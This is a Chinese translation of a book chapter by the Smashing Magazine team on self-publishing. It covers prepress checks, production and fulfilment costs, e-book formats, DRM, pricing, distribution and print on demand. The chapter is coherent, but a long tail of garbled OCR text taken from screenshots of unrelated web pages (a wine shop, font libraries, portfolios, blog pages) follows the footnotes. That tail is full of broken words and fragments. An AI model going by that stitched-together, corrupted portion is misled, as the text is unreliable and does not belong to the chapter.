类似地，应该通知合著者照片的最小尺寸。绘制的插图最好是矢量格式，以便可以轻松地缩放它们。扫描的图像也应该遵守你的要求。并且应该复查从Internet下载的图库或免费的图像是否有质量和版权问题。通常，那些可供个人免费使用的图像在用于商业内容（如图书）时，需要提供单独的授权（和费用）。

此外，还要决定文件格式，并且让每一个人都以此格式保存图像，或者以后转换成这种格式。高分辨率的EPS和TIFF是适合于印刷的良好格式，但是与几年前相比，今天对格式的要求不那么严格；例如，像InDesign这样的专业的版面设计应用程序现在允许开放的图像文件（如PSD），它在以前是不被接受的。你为图像选择的格式将主要依赖于你的工作流程。

使高分辨率的图像比所需的多3～4倍将可以让你有更大的空间来缩放图像，并将确保最终的输出具有最好的质量。仅当在图书中放置好了图像之后，才可以调整和调节它们。确保以实际的输出尺寸和300 PPI的分辨率设置它们。

专门让一个人检查图书中的所有图像，以避免任何矛盾之处，以及确保大小、颜色模式和分辨率是正确的。在涉及印刷时，永远不要使用放大的图像；使用100％大小的图像是最安全的。

印前

在提交图书以进行印刷之前，确保文件遵守印刷机的要求。如前所述，高分辨率的、印刷质量的PDF文件是大多数印刷机的优先选择，但是许多人也接受其他的格式，或者至少与你合作把文件转换成一种可接受的格式。

如果你不熟悉颜色管理和印前，可以请求帮助，而不要置之不理。寻找有经验的同事或者联系能够提供排版和印前服务的印刷公司，然后与他们合作，从你的草稿创建准备好印刷的文件。

最终的校对、拼写检查和版面设计

最后（但并非是最不重要的），对完成的作品进行彻底的质量检查。找出录入及其他文本错误。复制和粘贴经常会导致令人尴尬的错误，比如重复的或者放错位置的段落，以及遗漏的行或词语。排字错误可能轻松地溜进编辑过的段落中，并且为校对者和版面设计师提供的注释可能没有从原稿中删除。

要特别注意以下问题：

●　目录：章标题和页码正确吗？

●　标题：正文与每一章的标题匹配吗？

●　脚注：书页是连续地编号的吗？

●　文字说明：文字说明与图像和表格匹配吗？

●　文字说明是连续地编号的吗？

●　索引：至少要检查随机抽样的页码。

●　图片：再次检查图像的质量。第二次查看它们是否与周围的内容匹配，这是至关重要的。它们位于正确的位置吗，或者文本引用了出现在后面或前面的书页上的图像吗？

●　文本中的引用：检查对图像、表格和示例的引用。留意像“左边的图像”、“下面的表格”和“上面的示例”这样的短语。它们正确吗，或者版面设计师是否移动了一些图像以调整格式化效果吗？

●　间距：检查段落之间以及标题与正文文本之间的普通间距。标题和正文文本遵守章模板吗？列表和旁注中的间距怎么样？预先检查间距将阻止以后出现不一致性。

我们介绍了写作、编辑和版式设计过程，但是还没有讨论图书制作的一个至关重要的细节：成本。图书的格式将与篇幅、重量和纸张质量密切相关，因此，在许多情况下，你的版式设计决策将依赖于生产成本和市场营销策略。

图书制作、履约和市场营销

在探讨与制作和分销印刷图书关联的成本时，需要区分固定成本和可变成本。主要的固定成本是印刷和包装，因此你将需要仔细计算第一版的成本，因为你通常将不得不在收到早期的销售款之前给印刷厂付款。如果错误地高估了图书的销售潜力，你最终将会在堆积如山的库存图书上如坐针毡。

印刷成本将依赖于许多因素，包括印刷厂的位置、图书的页数、尺寸、纸张的质量、装订（锁线装订或无线装订）、书脊（方形或圆形）以及封面（精装书、平装书、特殊颜色、压膜、压花等）。
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图书装订机（Heidelberger Druckmaschinen AG惠赠）

在很大程度上，图书生产就是一项避免额外费用的实践。就包装而言：如果印刷机能够在其服务范围内包括精美的自定义包装，那么你就能够在不会导致过高费用的情况下得到专业、漂亮的产品。如果你的订货数量非常大，也许还能够商定更低的单价——至少比从办公用品商店购买标准包装的价格要低得多。

除非只有你一个人处理图书，否则将需要考虑多种不同的费用。当然，你将需要给作者支付合理的版税。还需要给版式设计师付费，技术审校、编辑和校对者也是一样。你将不得不给图形艺术家提前支付绘制插图的费用，对于设计Banner和徽章的Web设计师也是一样，还要给创作图片、图像及其他图形的任何第三方艺术家付费。其他主要的费用有建立在线商店以及为你的履约合作伙伴建立界面，如果你决定走这条路线的话。

在把所有这些费用加在一起时，可能很容易得到一个可观的数字。

如果你多才多艺，并且可以自己负责大多数生产任务，那么你“只”需从生产图书时你不能承担的客户项目中扣除你的工作时间和费用即可。

虽然固定成本（有望）在图书发行后的某个时点被抵消，但是出版社还必须处理可变成本。需要厂房存放大量库存图书。

我们转而与那些将变成我们的印刷合作伙伴的人协商，他们是两个来自柏林的聪明的家伙，并且创建了我们自己的履约链：我们商定了合理的履约费（每份订单2美元，而不是由专门的公司收取7美元的费用）。一种非预期但是受欢迎的结果是：我们的合作伙伴启动了一项服务，它现在也为除我们以外的用户提供服务。

我们创建了一个系统，其中自动将所有发票分组进文件夹中，并按地区和送货类型进行分类，以便最小化失败的交货率。履约服务打印出发票，把它们折叠起来，并把它们放入透明的防水封套中，并且使用许多胶带，使得封套不会散开（否则，我们的支持团队将不得不发送许多免费的图书赔偿给没有收到完好图书的用户）。

不管你多么关心包装，如果你没有提供优先送货，并且客户遍布全世界，那么某些订单的包裹将永远也不会在第一次尝试时送达用户的手中。我们不得不第二次发送一些图书，这是应该计算在内的费用，因为你将不得不支付两次履约费和邮费，而不会对用户进行加倍收费。我们当然发现了生产延迟会增加所需的赔偿图书的数量，并且会导致你的电子邮件收件箱被挤爆了。
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Smashing Shop。如果你决定建立在线商店并且为你的履约合作伙伴创建界面，就会导致相当多的费用：http://shop.smashingmazagine.com

开始时，作者可以比计划的晚一些发送他们的章节内容，接下来版面设计和校对要花比预计的更长时间，在时间表中设定所有的事情是一种过于乐观以至于无法开始的方式。因此，要确保为生产流程中的每个部分计算出许多缓冲时间。

我们认为我们能够通过现有的基础设施处理客服问题，但是生产延迟将导致来自用户的电子邮件数量日益增多（“我的图书在哪里？”、“我搬家了，需要改变送货地址。”、“我想取消我的订单。”）。我们将被迫立即雇佣一个支持团队，处理所有这些电子邮件请求并响应用户的意见。来自用户的反馈可以在许多方面帮助我们。例如，我们扩展了FAQ；我们通过改进下订单流程减少了抱怨；并且我们建立了文档管理和内部流程机制以缩短响应时间。

送货费和手续费一直都是热门话题。作为出版者，你的内心可能告诉你“在全世界免费送货”，但是你的大脑告诉你至少应该设置它，使得它可以弥补相当多的履约和送货费用。当你的客户群分散在全世界时，没有用于存放图书的位置对于送货费用和时间来说确实是“理想的”。

在大多数情况下，它将是图书出版者所在的国家，因为在国外组织履约将增加项目的不合理的复杂性、不确定性和成本（例如，你将具有更高的运费、由于语言障碍而导致的可能更高的错误率，以及寻找可靠的合作伙伴的时间成本）。而且，当说着相同的语言并且知晓公司的文化时，协商邮资价格要更容易。

对于Smashing Book 2（英文版）这本书，我们决定为我们的客户降低送货费和手续费，并且我们选择为每一个人采用航空邮件送货。通过这样做，我们利用每笔销售的利润有效地补贴送货费和手续费，慎重地传递更高的边际利润。这样，我们希望通过快速的交货、较低且透明的额外费用和较少取消的交易来提高客户满意度。

我们做出的另一个决策是以与第一本图书相同的价格销售第二本图书，同时仍然会改进内容和材料的质量。

为了增加销量，我们再次举行了预售活动，但是这一次只会持续4个星期，以使之更专有以及强制做出购买决策。由于Book 1的支持，我们现在可以给现有的用户发送电子邮件通知，这应该能在更短的时间段内导致更高的销量。早期的销售数字告诉我们第一版是否足以满足需求，或者是否很快将需要重印。

电子书：实体书的替代选择

如你所看到的，制作实体书是一种相当冒险的经历，涉及经济风险，并且你在这一方需要长期的承诺。如果你更喜欢对时间和成本的要求不那么高的替代选择，则可能想考虑代之以出版数字书（或电子书）。

为什么会有人购买电子书呢？这个问题问得很好。尽管有如此多的内容可供在线免费使用，电子书仍然让人感觉到更持久、安全和可靠一点，并且通常比Web页面更适合于阅读。电子书通常都经过了认真仔细的编辑、组织和准备。与印刷的图书相比，电子书展现出了许多优点。

●　立即可用。
 可以在几分钟内购买、下载并开始阅读电子书。不必去书店购买它们，也不必花几天或几周的时间等待它们邮寄过来。

●　携带方便。
 可以在笔记本计算机、智能手机或电子书阅读器上携带所有的图书，而无需担心它们的重量。此外，由于文件大小如此之小，在智能手机上脱机阅读它们要方便得多。

●　自适应。
 现代的电子书格式（ePUB、Mobipocket）被设计用于可重排的文本，这意味着内容的表示将为查看它的显示器进行优化。

●　可搜索。
 利用内置的搜索功能，可以轻松地搜索图书中的关键词，甚至较长的文本段落。

●　交互式。
 数字书可以包含音频和视频，它们可以丰富作者的消息。

●　可调整的字体大小。
 电子书阅读器的用户可以轻松地增加图书的字体大小，有时甚至可以改变字体本身，这使得其格式非常适合于老人和残疾人。此外，由于高分辨率显示器的出现，数字文本可以非常清楚、明晰地出现在屏幕上，与纸张上的墨水非常相似。

●　书签、高亮显示和注释。
 每当你关闭图书时，高级电子书阅读器会自动记住你停止阅读的位置。它们还允许你用书签记录书页，高亮显示你最喜爱的段落以及添加注释。

●　内置的字典。
 一些电子书阅读器提供了内置的字典，它们对于那些不是说本地语言的人特别有帮助。

●　文本-语音转换功能。
 最新的电子书阅读器具有内置的文本-语音转换功能，它在小型移动设备上特别有用。在计算机前坐了一整天之后，你能够让眼睛休息一下。

如果你定期在博客上发表文章，就可以用电子书的格式提供你的内容。你的很大一部分粉丝将很高兴使用电子书版本说一声“谢谢你”，以此来感谢你在博客上持续发表有用的文章。

当然，用户可以只搜索你的存档，找到有用的文章，然后使用你的网站的打印样式表打印出它们。或者他们可以在本地保存这些文章，以便将来使用。但是如果文章散布在许多类别、标签或者甚至网站中，那么搜索内容可能就比较麻烦。如果打印样式表不符合标准，那么从网站中提取内容甚至可能更糟糕。

电子书在一个位置提供了所有的内容，具有组织合理的结构，经过了认真仔细的准备、更新和编辑，并且没有包含不必要的信息（比如广告），因此可以节省用户的时间。

这是一种真实的附加价值。如果图书放置得很好并且是充满创造性的设计，则还会获得额外的加分，对于印刷的图书甚至可以获得更多的加分。这些附加价值有助于把图书从松散汇编的文章转换成丰润、深奥的艺术品。这听起来应该很有吸引力，即使你不喜欢阅读图书亦会如此。

不过，你不必把自己局限于只发行电子书。你可以探索其他的方式，以把实用的内容带给你的目标群体。在我们发行了电子书之后，我们联系了出版社并经过谈判达成了一项协议：一些图书即将开始印刷，并将通过传统的书店分销，这允许我们吸引完全不同的读者注意。

此刻，有两种流行的相互竞争的电子书格式：ePUB和Mobipocket。这两种格式都得到最新的电子书阅读器支持，并且都提供了上述的好处。利用这两种格式，可以更改文本大小和字体，当设备横向或纵向改变时可以重排文本，支持嵌入式视频，并且可以自动生成链接的目录。利用传统的PDF格式，可以嵌入高级导航系统和多媒体内容，但它没有提供所有其他的优点。

1．ePUB

ePUB（电子出版物）是由International Digital Publishing Forum（国际数字出版论坛）的Open eBook Forum（开放式电子书论坛）于2007年后期提出的一种相对较新的、开放的电子书标准。它使用XHTML 1.1表示文档的内容和结构，使用XML创建目录，以及使用ePUB元数据和样式表（CSS 2.0的子集）提供版面设计和格式化效果。该标准被指望取代较旧的OEBPS（Open eBook Publication Standard，开放式电子书出版标准）。在编写本书时，该标准受到150家以上的重要公司支持，包括Adobe、Apple、Google、Microsoft、Nokia、HP和Sony。

该标准打算充当源文件格式和最终用户格式，使得出版者和转换提供者有可能为生产和分布使用相同的文件。图书的所有文件都被收集进一个容器中，它通常是一个ZIP文件，但是文件扩展名被重命名为ePUB。所有的ePUB电子书阅读器都应该能够阅读具有压缩格式的内容。ePUB还支持一些图像类型，比如PNG、JPEG、GIF和SVG。ePUB文件要求以Unicode UTF-8或UTF-16编码文本。ePUB的一个关键特性是DRM（Digital Rights Management，数字版权管理）是可选的。

2．Mobipocket

Mobipocket电子书格式基于较旧的OEBPS（Open eBook Publication Standard，开放式电子书出版标准），它于2007年被ePUB取代。Mobipocket使用XML和XHTML存储和表示图书内容，得名于公司Mobipocket SA，它生产Mobipocket Reader，这是一种用于PDA、智能手机和移动操作系统（Symbian、Windows Mobile、Palm OS、webOS、Java ME、BlackBerry、Psion和Amazon Kindle）的免费的电子书阅读器。还有用于运行Microsoft Windows和Mac OS X的桌面计算机的阅读器。Amazon Kindle不能阅读ePUB电子书，除非一些中间软件把图书转换成一种Kindle可以理解的格式。

3．PDF

PDF（Portable Document Format，便携式文档格式）最初是一个专有的标准，但是从2008年起就变成了一个开放的标准。它是由Adobe开发的，最初被创建为一个用于存储和编辑可打印和可发表的文档的标准。PDF文档也可以被许多电子书阅读器显示。

由于这种格式最初被设计成复制固定的页面布局，文本一般不能重排以适应屏幕。因此，被设计成在标准纸张大小上打印的PDF文件不怎么适合在电子书阅读器上阅读，尤其是那些尺寸较小或者分辨率较低的阅读器，比如手机。

当布局对于文档至关重要时，使用PDF就是有意义的；例如，对于带有插图的小册子、杂志文章和复杂的手册就是如此。PDF将会保留你设置的所有内容、格式化效果和字体，并且将为肖像和风景模式预先格式化文档。由于固定的布局，当设备的方位改变时，内容将不会重排。

大多数出版者都以上述的一种或多种格式提供他们的电子书。查找关于这3种格式所占市场份额的当前统计数据是困难的。O'Reilly跟踪过读者在购买一本书后下载了其中哪些格式，并且该公司把它分解到16个月上，从2007年7月到2009年11月。根据这些统计
(6)

 ，PDF继续保持为最流行的格式，但是ePUB和（在较低程度上）Mobipocket正变得越来越受欢迎。
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PDF、ePUB与Mobipocket格式下载比较：ePUB的普及性正在增长。

来源：http://www.oreilly.com

4．电子书创作工具

虽然利用流行的创作工具之一生成PDF格式的电子书非常直观，但是在更高级的ePUB和Mobipocket格式中执行该操作并不是如此简单。

尽管有多个选项可用于把内容导出为这些格式，但是它们并非总是工作得很好，或者它们对于更高级的布局会引发一些问题。事实上，利用一些创作软件，以ePUB和Mobipocket模式导出图书要容易得多，并且不会有手动调整某些元素或者修正在导出后出现的怪异错误的麻烦。


Apple Pages
 
(7)

 是一个简单的创作工具，允许任何人以PDF或ePUB格式快速制作电子书，而无需关于标准的技术知识。可以使用Amazon提供的KindleGen工具为Kindle把ePUB文件转换成Mobipocket电子书。


Adobe InDesign
 
(8)

 允许导出为PDF和ePUB。可以使用KindleGen为Kindle把ePUB文件转换成Mobipocket。


Jutoh
 
(9)

 可以把OpenOffice
 文档转换成ePUB和Mobipocket格式。一些开发人员尝试为OpenOffice开发一个扩展，它无需外部工具即可把OpenOffice文档转换成ePUB格式。

一些用于WordPress
 的插件可以自动从特定类别的贴子中创建电子书。例如，Anthologize
 
(10)

 是一种用于WordPress的开源插件，可以用多种格式（包括PDF和ePUB）导出你的贴子。

5．是否使用DRM

传统的DRM（Digital Rights Management，数字版权管理）把读者绑定到特定的电子书阅读器和特定的软件上，并会对借阅或复制电子书强加一些限制。实际上，传统的DRM对于出版者来说可能不方便，因为它使得他们依赖于一个或另一个DRM平台，并且强迫他们依靠工具的创建者来支持它。

另一个缺点是：由于向后的不兼容性，在从现在起的十年内，大多数DRM图书可能变得无法阅读。随着时间的推移，用于DRM和新型电子书阅读器的新模式可能出现，它将不一定与较旧的电子书兼容。

为计算机或电子书阅读器设计的电子书通常具有一些DRM限制，以限制进行复制、打印和共享操作。它们通常被限制于一定数量的阅读设备，并且一些出版者会阻止任何复制或打印操作。

经典的DRM的一种替代方案是所谓的“社会化DRM”。出版者在电子书中嵌入标识信息，比如购买者的名字，或者也许是他们加密的信用卡号以及其他信息。这鼓励购买者光明正大地操作产品。这种指纹式电子书可以在任何电子书阅读器上阅读，在它们上面将总是可读的，并且与经典的DRM系统相比不那么复杂。

最简单的选择当然是保持电子书不受DRM限制，并且以所有流行的格式提供它，从而使之可以在大多数电子书阅读器上阅读。一些出版者相信DRM扼杀了创新和竞争；他们希望他们的用户尽可能自由地做他们想对电子书所做的事情。这里的一个缺点很明显：如果可以轻松地复制电子书，那么它最终将出现在多个文件共享网站上，从而会损害出版者的利益。但是DRM不一定会阻止图书被随意删改、复制、扫描和共享。在非法分发未受保护的图书的相同网站上，电子书也可以安然无恙。DRM的唯一作用将是通过阻止付费用户为合法用户复制图书来惩罚他们。

决定图书的价格

图书的价格将极大地影响它能否取得成功。这里没有什么重大的新发现——然而在实际中，作者经常从错误的角度处理定价。很容易设定较高的价格，并且希望能最大化利润；或者设定较低的价格，使得产品更有吸引力。不过，把它设定得太高或太低可能会起到相反的作用。

如果把价格设定得太高，就会冒着疏远潜在购买者的风险，除非你付出巨大的努力使他们相信你的图书确实值这个价钱。如果把价格设定得太低，则不仅可能会损失潜在的利润，而且可能会给读者留下关于产品质量的错误印象。价格越低，读者对产品价值的期望就越低。便宜的产品可能被认为是质量低劣的产品，因此不值那个价钱。

价格必须合理并且有吸引力，然而最重要的是要满足读者的平均期望值。你的决策不应该是一种臆测，仅仅基于对读者心甘情愿支付他们的金钱的估计。它也不是生产成本的问题。也不是说，如果生产成本太高，将不能简单地通过抬高价格来抵消成本：人们简直不会购买产品。读者对你的生产成本不感兴趣：驱动购买行为的唯一因素是产品的感知价值与它的实际价格之间的微妙平衡。

价格是由市场支配的。图书的内容和制作很重要，但是在面对竞争性的图书时它们将变得与定价不那么相关。在决定定价时，首先要透彻地研究市场：分析类似的书目（在线以及在书店里）以及它们的质量、大小和材料。此外，还要密切注意购买这些图书的用户给出的正面和负面的评论，并且看看他们的反馈是否也适用于你的图书。

价格应该适中，不会超出你所在的小环境中流行的范围。当然，稍微廉价出售竞争性书目也是有意义的。一条经验法则是：同类图书越少并且主题越具体，价格就越高。

在市场营销中，所谓的“心理定价”（或者“价格尾数”）比较常见，由此把价格设定为一个带零头的数字——比约整数稍小一点。例如，29.99美元或者18.95欧元似乎小于30美元或者19欧元。在面对由于税收增加或者原材料价格上涨而不得不提高价格的前景时，更好的做法是降低生产成本。例如，通过减少页数或者在更便宜的纸张上印刷图书。这就是你为什么很少看到像30.40美元或者19.20欧元这样的价格的原因，除非书店以折扣价销售图书（例如，减价15％）。

给电子书定价是一个完全不同的故事。根据我们的经验，用户在头脑中对于数字商品似乎具有某种容忍限度。由于许多（实体）技术和参考图书的价格从20美元左右起价，用户认为为类似的电子书索取相同的价格是不合理的，因为他们将不会获得实体图书。我们发现对于300页的电子图书，9.95美元～14.95美元的价格范围是最佳的，并且被广泛接受，只要电子书提供了所有常见的格式（PDF、ePUB和Mobipocket）即可。

另一种策略是通过增加图书的附加价值在竞争中脱颖而出，尤其是当你期望相对较少的发行量时。例如，可以在每本书上签名，连同图书一起发送一些特别吸引人的东西（比如参考卡），或者给用户提供在线工具或服务。额外的价值越高，价格就似乎显得越合理，从而导致销量更高并且客户也更满意。

通过网店销售

你可能想探索替代的分销渠道，以接触到仅仅通过网站所不能接触到的读者。例如，可以在其他网站上销售印刷的图书（这将是一场“接受会员的活动”）。

你仍然可以使用你的履约基础设施把图书递送给读者；第三方只需把发票和送货细节转发给你。电子书甚至更容易：只需把你的电子书添加给一个或多个流行的在线分销商，并且基于每笔销售支付一定的费用。

我们对于自己的图书也是这样做的：Smashing电子书不仅可以通过我们的Smashing Shop购买，而且可以通过Envato Marketplaces购买。重要的事情是不应该在分销商之间改变图书的价格，否则，预期的读者可能会心存疑虑，并且你可能会失去信誉。

专业书店怎么样？一般而言，像Amazon和Barnes & Nobles这样的大公司是最好的，因为它们具有你不能通过其他方式接触到的大量受众。但是由于它们的影响力，它们设置了销售的所有条件和规则。

它们不仅要求给予原始价格的不合理的折扣和费用（50％或更多），而且还经常削价；如果图书对于零售商似乎没有足够的吸引力，那么零售商将可能对它设定一个较低的价格以驱动追加销售（upselling）
(11)

 或者交叉销售（cross-selling）
(12)

 像德国、奥地利和瑞士这些国家就是一种例外的情况，在这些国家里，图书价格由出版者确定下来，并且不能被第三方调整。

后果很明显：如果你决定通过Amazon销售你的图书，那么Amazon最终销售它的价格可能比你自己的网站上的价格要便宜得多。你最终将妨碍自己取得成功，并且为你自己的图书创造了竞争者。这确实就是我们为什么决定不通过这些渠道分销我们的Smashing图书的原因。
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Smashing电子书也是通过Envato Marketplaces分销的，它使自己出版图书的人能够接触到受众，这是他们仅仅通过他们的网站所不能做到的

按需印刷

与大型出版社合作出版图书是一个相当昂贵和复杂的过程。你印刷的副本越少，每个副本的成本就越高。这就是发行量较少的图书为什么很少获得高额利润的原因。另一方面，如果你印刷太多的副本，每个副本的成本将低得多，但是你将冒着最终库存图书堆积成山的风险。

一种替代方案是“按需印刷”（print on demand，POD），这是一个数字印刷流程，其中仅当接到订单时才印刷图书的副本。因此，你无需印刷固定数量的副本，而是给你的POD提供商一个数字副本，做好准备，并且该公司按需印刷它。这个流程非常适合于较少的发行量和特殊的版本。可以使用它来制作袖珍版图书的大尺寸重印本、稀有或绝版图书的新版本。它也可能适合于预览版、试验版和“假日”版。

POD的优点

●　简单、直观的在线流程。

●　比传统的印刷流程更快、更灵活。

●　使较少的发行量和个性化的版本成为可能。

●　无需贮藏、处理和库存的成本，或者成本很低。

POD的缺点

●　交货要花更长的时间，因为仅在接到订单之后才会印刷图书。

●　每个副本的印刷成本非常高。

按需印刷对于一些网站所有者将是一个合理的方案。在你准备好印刷图书之后，读者只需几天的时间就能订购副本。并且你通常可以使用相同的提供商把你的图书直接运送给读者，这可以节省时间以及减少履约费用。一些POD提供商甚至提供了辅助手段，比如：制作电子书版本（包括创建ePUB文件并把它提交给iBookstore）、登记ISBN、把图书提交给Amazon，以及帮助进行市场营销和分销。

POD减小了一些经济风险，并且解决了许多生产和履约挑战，但是它也有不利的一面。印刷选项变化多端：你不仅可以制作简单的黑白平装书版本、传单和小册子，而且可以制作精心设计的精装书版本，它具有彩色印刷、螺旋装订和多种尺寸。你的计划越雄心勃勃，成本就越容易急剧上升到失控状态。如果你计划使用POD在优质纸张上并且利用牢固的装订制作较大的精装、彩色图书，那么每个副本的价格几乎将是一个天文数字。

定价示例

我们通过遵循传统的印刷流程印刷了Smashing Book 1。如果我们使用最大的POD提供商之一Lulu.com印刷图书，那么图书的制作将具有67.10美元／副本的成本（2010年12月）——对于29.90美元的零售价，我们将没有任何利润。最昂贵的要素是全彩印刷——黑白副本的成本只有10.76美元。但是这没有包括版面设计、插图、封面设计、税款、折扣、审阅副本以及作者的经济补偿所涉及的成本。除此之外，读者还不得不支付送货费用，这将再次抬高图书的定价。

POD适合于相对适中的图书项目的小发行量（最多1000册）。如果你计划销售更多的副本或者使用优质的材料，那么传统的印刷流程的成本更低，并且你的经济前景将明亮得多。如果有什么区别的话，读者也只会注意到平版印刷与数字印刷解决方案之间的微小区别。这两种方法可以产生质量几乎同等优良的图书。

结论

出版图书是一项困难而又有价值的工作，值得我们尽力去尝试，它需要耐心、奉献精神和相当大的努力。从第一份草稿到成品是一段漫长的旅程，并且许多事情可能很容易出错，但是这总是全力以赴学习新技能和拓宽你的专业视野的挑战。最终，你遇到的困难越多，你为将来的项目所做的准备就越好。每当你从书架上取出一本自己出版的图书时，都会有一种成就感，直到你阅读到最后一句话时，都会保持这种感觉，而它又会激励你执行后续的项目。

本章是由Smashing杂志团队的Manuela Müller、Thomas Burkert、Michael Dobler、Vitaly Friedman和Sven Lennartz编写的，并且由印刷专家Lisa Valuyskaya进行了审阅。



————————————————————


(1)
  当然，你不必出版图书。你可以出版杂志、小册子、日历、海报或者其他形式的印刷品。我们将在这里重点介绍图书，以使本章尽可能简洁、具体并且重点突出。


(2)
  当然，它们应该适合你的图书的范围，它们可能是这样的，除非你编写的是尚未在文章中介绍过的完全不同的主题。


(3)
  复查图像的文件名是否与正文文本中的文件名精确匹配。如果图像最近被修改过，并且利用不同的名称或者以不同的格式重新保存了它们，那么它们可能不会很好地匹配。


(4)
  某些PDF预置更适合于印刷。通常，印刷机将告诉你它们的首选参数。要了解关于这种文件格式和不同的预置，可以探索PrePressure网站上的PDF部分：http://www.prepressure.com/pdf。


(5)
  注意：人们经常把PPI（像素／英寸）与DPI（点／英寸）弄混淆。后者严格地指打印机硬件及其在纸张上复制点的能力。在准备打印文件时，不要太担心DPI——300 PPI是一个神奇的数字。


(6)
  “PDF vs. ePUB vs. Mobipocket Format Download Comparison for oreilly.com”（oreilly.com的PDF、ePUB与Mobipocket格式下载比较），参见http://radar.oreilly.com/2009/12/pdf-vs-epub-vs-mobi-format-download-comparison.html。


(7)
  参见http://www.apple.com/iwork/pages/。


(8)
  参见http://www.adobe.com/products/indesign/。


(9)
  参见http://www.jutoh.com。


(10)
  参见http://github.com/chrisclarket/eBook-Export-Plugin-for-WordPress。


(11)
  “追加销售”是一种销售利润更大的商品的策略，可以使零售商获取比客户最初感兴趣的商品更多的利润。例如，可以把你的图书用作诱饵来吸引客户注意更昂贵的图书。


(12)
  “交叉销售”是一种把额外的产品或服务销售给客户的策略。例如，如果客户考虑购买一本昂贵的图书，零售商就可以建议他们额外购买你的便宜的图书。
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PACK MY BOX WITH FIVE DOZEN LIQUOR JUGS
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Pack my box with five dozen liquor jugs.

Pack my box with five dozen liguor jugs.

Pack my box with five dozen liquor jugs.

FIVE DOZEN LIGUOR JUGS

PACK MY BOX WITH FIVE DOZEN LIGUOR JUGS

PACK MY BOX WITH FIVE DOZEN LIQUOR JUGS

PACK MY BOX WITH FIVE DOZEN LIQUOR JUGS
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WINES STORY PLACE TEAM NEARYOU FOLLOW US

Your food should

be so lucky.

08 Y3 TAUREAU

Five varietals. Endless superlatives. Meet our
new Y3 Taureau, an indulgent blend sourced

from some of Napa's most premium vineyards.

Starting with our estate grown JAX cabernet
{foundation is everything), the Taureau offers
feminine layers of syrah and merlot, polished
with petite sirah and cabernet franc. Full
bodied. Feisty. Justlike the legendary bull
afterwhom it was named. And not only does
Taureau pair well with most dishes, but it
offers a “special occasion taste” atan
“everyday wine price.” Fora gorgeous blend
with a soft entry and deep complexity, graba
bull by the bottle.

rauneau [EETRTS

[

BUYWINE

$20.00
TASTING NOTES

SPECIFICATIDNS
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Font: OFL Sorts M)

Easily create bundles of beautifully matching, free web fonts, with
failsafe font stacks to back them up. Including ready-to-go CSS code!

Create a font bundle ... ... Or browse our library!

0 St with selecting a fant foe haadines: There are 315 font bundles and their font stacks in eur library right now.

DI‘Old Serlf AaBchDdEeFf This is a finished bundle's headline!

Soyte: serf | Fons 5:4 | VAR O.T

Also comes in smaller sizes.

Kontrapunkt AaBbCcDdEeFfi

anes:3 | VAR: 0.698
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FIND PHOTOS AND PHOTOGRAPHERS

The Complete Solution to Show & Sell Photography

Photographers:
Pro Websites with Everything You Need to Sell Photos

« Sell directly online including prints & downloads

« Your own customizable website with no coding required
 Get more exposure to your market with our tools and SEO

i

o e e
ut we doubt you'll want to.

See What Your Site Will Look Like Photo Buyers:
Browse some of our ready-to-go & custom designs Find Photos & Photographers

* 9 customizable themes
No coding required or use your
own design

Live support

Ability to sell photos

Sell prints, licensed use
Instant payment

Share on social networks
Powerful SEO tools

Unlimited file size

Client management tools

» Find a photographer » Find an agency
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about.me

A CUSTOM SPLASH PAGE &

PERSONAL ANALYTICS
DASHBOARD

Interested? About.me is in private beta but we're
sending out new invites daily. Enter your email and a

[ —
URL below and we'll let you know when you can ey
create your splash page. U
Email

Your Activty
About.me URL

62 3466
B
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designer

1 love web and graphic design and
have experience designing websites,
user interfaces, brands and logos as
well as graphics ard print media.

<coder>

1 have a passion for front end web
development and have experience in
coding HTML, CSS, Wordpress,
PHP, JavaScript, blogging and

o,
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The Pixel provides the most ingenious

/ Why Magento ERP Integration Is Still A Good Idea ‘design and markeling solutons on the

Following the recent decision by the Magento team 1o remove the Integrated
ERP facily from Magento Enterprise, we thought it would be a good Idea to |
highiight why having a Magento ERP solution was a good Idea in the first i el

‘xcollonce, youre i good hands.
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Jjon brousseau.com commcrue

design for
interaction
& print.

I'm an Associate Creative Director for Boston University's New Media department. |

i e designing interactive & print media, and | am the
nstitute of Boston's Porter Square Gallery in Cambridge,
MA. Scroll down to view some of my work samples below or get in touch with me if
you have any questions or require further information.

some work samples...

Boston University College of Fine Arts
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LOST WORLD'S FAIRS &=

BEAUTY OF THE WEB

Internet Explorer 9 now supports WOFF, and the Friends of Mighty
have joined forces to explore typographic possibilities on the web.

=
ELDORADO ATLANTIS  THE MOON

by NAL HAMID by FRANK CHIMERD by JASON SANTA MARIA
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magazmes HOME | INSPIRATION = RESOURCES

Creative Director { Resources { 8 Comments

The Right Tools To Starta
Blog (part1)

Tweet Here are tools to help you start your next blog. | wanted to
give some of my personal tips with The Right Tools To Start a Blog.
This is just part 1 of 2, 50 you can get started.

Popular Post

25 High-Quality Free WordPr
Baautiful Websita Navigation

20 new besutfulfonts to downiaad

4 Tips ta becoming a gaod fraclancer

FIFA World Cup 2010 Wallpapers, cons, and Fan

Twiter Gontact

INTERVIEWS FREEBIES
We Have 150 RSS Subscribers
We Have 1,788 Twitter Followers

We Have 374 Facebook Fans

8 HOURS OR LESS
PSD, PNG, Al, WEBSITE, CMS

ummw

Advertise Here
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“ Anyone
who would
letterspace
lower case
would steal
sheep. »?

—Frederic Goudy

“ Anyone
who would
letterspace
lower case
would steal
sheep.

—Frederic Goudy
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You won ¥ou.r freedom.
Now win the competition.

1 the Future of Web Design e, we . K the

ke 1) 410 seople ke i

The Winners Have Been Chosen!

| et

N -

wewillbethare

MARKER
MIETEN

KAUFEN

Create
an account

« submit a site

« rate your faves
« comment

w - a8
san Rajtoral
gorasrniccon - nie ik 3-8
an Raftoal
. Dl 46
3 d
& e, 4.6
| Bickwimgad 46
Typograshica
GIVE FEEDBACK

Bagister here if you want
to rate and leave comments.

OVER $80,000 IN .
CASH & PRIZES
rorrowus [} (B

SHARETHISPAGE (3 Share

Wi Monotype Imaging

“carsaiified
R

and presented togetner with
Carsonified

MEDIA + INDUSTRY
PARTNERS
novum

CreativeReview Huw

Design, development and program
support by CommCreative

Read our competition terms
and conditions,
Read our website terms
and conditions.
Have additonal questions?
vtact us for mave info.
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Home Work Services Hireme )

BrightBulb

is a place for my ideas to grow and glow .
My name is Anita Bilan and this is my portfolio.

Latest work

Photodays Website vi - Starbucks Holiday Muga
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Music:

Loving this tune

Posted March 7¢h, 2010 by

lookicg fon w»(;f?

Jost about Nic Haralambous and 54 Rocks
‘2 talentes guitarist when he tweeted 2bout |

his university N oot e

- Lthink It ROCKS e
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Patal | Ciscussion

